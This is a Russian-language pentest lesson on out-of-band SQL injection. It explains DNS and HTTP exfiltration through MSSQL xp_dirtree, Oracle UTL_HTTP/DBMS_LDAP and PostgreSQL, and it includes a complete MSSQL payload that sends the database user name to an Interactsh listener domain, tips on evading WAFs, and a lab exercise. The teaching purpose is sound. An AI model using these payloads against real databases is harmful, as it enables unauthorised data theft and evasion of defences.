Прорыв изоляции: Анатомия Out-of-band эксфильтрации

Представьте, что вы пытаетесь вынести секретные чертежи из здания с вооруженной охраной на каждом выходе. Вы не можете вынести их в руках или карманах — обычные каналы вывода (HTTP-ответы сервера) тщательно проверяются WAF и системами предотвращения утечек. Однако у здания есть вентиляция, водопровод или сигнальные огни на крыше. Если вы сможете передать информацию через эти побочные каналы, охрана на дверях окажется бесполезной. В мире веб-безопасности такая техника называется Out-of-band (OOB) SQL-инъекцией.

Для пентестера уровня Middle это «золотой стандарт» эффективности. Когда классические методы Error-based не работают из-за подавления ошибок, а Blind-методы (Boolean или Time-based) превращаются в многочасовое ожидание и тысячи запросов, OOB позволяет извлечь данные одним точным ударом. Мы заставляем сервер базы данных не возвращать ответ приложению, а самостоятельно инициировать соединение с подконтрольным нам узлом, передавая украденные данные прямо в параметрах этого запроса.

Механика внешнего взаимодействия СУБД

Суть OOB-атаки заключается в использовании встроенных функций СУБД, которые предназначены для взаимодействия с файловой системой или сетью. В современных инфраструктурах базы данных редко живут в вакууме: им нужно проверять сертификаты, обращаться к активным каталогам (LDAP) или загружать внешние XML-схемы. Именно эти легитимные возможности становятся рычагом для эксфильтрации. Самым универсальным и скрытным протоколом для этого является DNS.

DNS идеально подходит для обхода сетевых ограничений, так как запросы на разрешение доменных имен часто разрешены даже в самых жестких корпоративных сетях, где прямой HTTP-трафик наружу заблокирован. Когда вы внедряете в SQL-запрос функцию, пытающуюся разрешить имя вроде v3ry_s3cr3t_p4ssw0rd.attacker.com, запрос уходит на вышестоящий DNS-сервер, а затем попадает на ваш авторитарный сервер имен. База данных выступает в роли «курьера», который сам доставляет вам данные, не подозревая о компрометации.

Для успешной реализации атаки необходимо выполнение двух условий: наличие у СУБД прав на выполнение сетевых функций и отсутствие блокировки исходящего трафика на уровне сетевого экрана (Egress filtering). Несмотря на кажущуюся сложность настройки, OOB-атаки на порядок стабильнее Time-based методов, которые крайне чувствительны к сетевым задержкам и нагрузке на сервер, часто приводя к ложноотрицательным результатам.

Реализация для различных диалектов SQL

Каждая СУБД имеет свои специфические «двери» для выхода во внешний мир. В Microsoft SQL Server классическим инструментом является процедура master..xp_dirtree. Хотя она предназначена для просмотра структуры папок, она поддерживает использование путей в формате UNC (Universal Naming Convention). Если передать ей путь вида \\data-to-steal.your-domain.com\a, SQL Server инициирует DNS-запрос для поиска этого хоста, чтобы затем попытаться подключиться к нему по протоколу SMB.

В Oracle Database ситуация интереснее. Здесь часто используется пакет UTL_HTTP или DBMS_LDAP. Однако даже если прямой доступ к ним ограничен, можно эксплуатировать функционал XML-парсеров. Функция extractvalue в сочетании с запросом к внешнему ресурсу через протокол HTTP или FTP позволяет не просто отправить данные, но и получить подтверждение доставки. Для атакующего это означает возможность выстраивать сложные цепочки извлечения данных, обходя ограничения на длину DNS-метки (которая не может превышать 63 символа).

PostgreSQL долгое время считался наиболее устойчивым к OOB, но расширения вроде dblink или специфические функции работы с файлами (через copy или lo_export в сторону сетевых ресурсов) позволяют добиться аналогичного результата. Важно понимать, что в современных версиях СУБД многие из этих функций по умолчанию ограничены правами суперпользователя, поэтому успех OOB-атаки часто напрямую зависит от качества конфигурации прав доступа в целевой системе.

Подготовка инфраструктуры и работа с Interactsh

Для приема данных вам не обязательно поднимать собственный BIND-сервер и настраивать зоны. Существуют специализированные инструменты, такие как Interactsh (от ProjectDiscovery) или классический Burp Collaborator. Они предоставляют готовый сервер, который слушает запросы по протоколам DNS, HTTP, SMTP и LDAP, мгновенно отображая входящие соединения в интерфейсе.

Типовой алгоритм действий выглядит следующим образом:

Вы генерируете уникальный домен (например, c123.oast.me).
Формируете полезную нагрузку, которая конкатенирует результат вашего целевого запроса с этим доменом.
Отправляете запрос к уязвимому приложению.
Наблюдаете за панелью мониторинга.

Рассмотрим пример для MS SQL Server, где мы хотим извлечь имя текущего пользователя. Полезная нагрузка может выглядеть так: DECLARE @p varchar(1024); SET @p = (SELECT USER_NAME()) + '.c123.oast.me'; EXEC('master..xp_dirtree "\\' + @p + '\a"'); Здесь мы сначала сохраняем данные в переменную, добавляем к ним наш домен и заставляем систему выполнить поиск этого «пути». В логах вашего DNS-слушателя появится запись о попытке разрешения имени dbo.c123.oast.me, что и будет являться искомым ответом.

Кейс: Обход слепой инъекции в высоконагруженной системе

Представьте сценарий: вы обнаружили Blind SQL-инъекцию в API-методе крупного интернет-магазина. Попытки использовать SLEEP() или WAITFOR DELAY дают нестабильный результат, так как время отклика сервера колеблется от 100мс до 5с из-за распродажи. Использование Boolean-based метода требует по 8 запросов на каждый символ, что при извлечении длинного хеша пароля создает подозрительную активность в логах.

Применяя OOB через DNS, вы сокращаете количество запросов до одного на каждую запись. Более того, вы можете использовать функции кодирования, такие как base64 или hex, прямо внутри SQL-запроса, чтобы избежать проблем со спецсимволами в DNS-именах. В одном из реальных аудитов это позволило извлечь конфигурационные данные из таблицы sys.configurations за считанные секунды, в то время как классический «слепой» метод предсказывал время завершения через 40 минут.

Этот подход также эффективен против WAF, которые настроены на поиск паттернов типичных Blind-атак (длинные цепочки OR 1=1, UNION SELECT или специфические задержки). Запрос на обращение к сетевому пути часто выглядит для фильтров как легитимная бизнес-логика или менее приоритетная аномалия, особенно если вы используете нестандартные функции СУБД.

Практическое задание

Для закрепления материала воспользуйтесь локальным стендом с установленной MS SQL Server или Oracle DB. Ваша задача — настроить бесплатный экземпляр Interactsh (или аналогичный сервис) и выполнить следующие шаги:

Сформируйте запрос для извлечения версии СУБД (@@version для MSSQL или select version from v$instance для Oracle).
Оберните результат в функцию кодирования Base64 (или Hex), чтобы гарантировать валидность DNS-имени.
Сконструируйте финальную полезную нагрузку, инициирующую DNS-запрос к вашему субдомену.
Проверьте логи вашего слушателя и декодируйте полученное значение.

Попробуйте также реализовать атаку через HTTP-протокол (например, используя UTL_HTTP.request в Oracle), если сетевые настройки вашего стенда позволяют исходящие соединения на 80/443 порты. Сравните скрытность обоих методов в логах сервера.

Чек-лист ключевых идей

OOB-атаки используют СУБД как клиента для передачи данных на внешний сервер через DNS или HTTP.
Основное преимущество — скорость и стабильность в условиях нестабильного отклика сервера или жесткой фильтрации вывода.
DNS-эксфильтрация наиболее эффективна для обхода межсетевых экранов благодаря доверию к трафику на 53 порт.
Основные векторы: xp_dirtree (MSSQL), UTL_HTTP / DBMS_LDAP (Oracle), load_file (MySQL на Windows).
Для успешной атаки необходимы права на выполнение сетевых функций и возможность исходящих соединений.
Использование специализированных слушателей (Interactsh, Burp Collaborator) критически упрощает эксплуатацию.

OOB-инъекции — это мощный инструмент, но они требуют понимания того, как СУБД взаимодействует с операционной системой и сетью. Однако иногда даже этого недостаточно, если уязвимость запрятана глубоко в логике приложения и не проявляется сразу. На следующем уроке мы разберем технику Second-Order SQLi, где данные, внедренные сегодня, «взрываются» завтра, и научимся находить эти отложенные угрозы в сложных архитектурных решениях.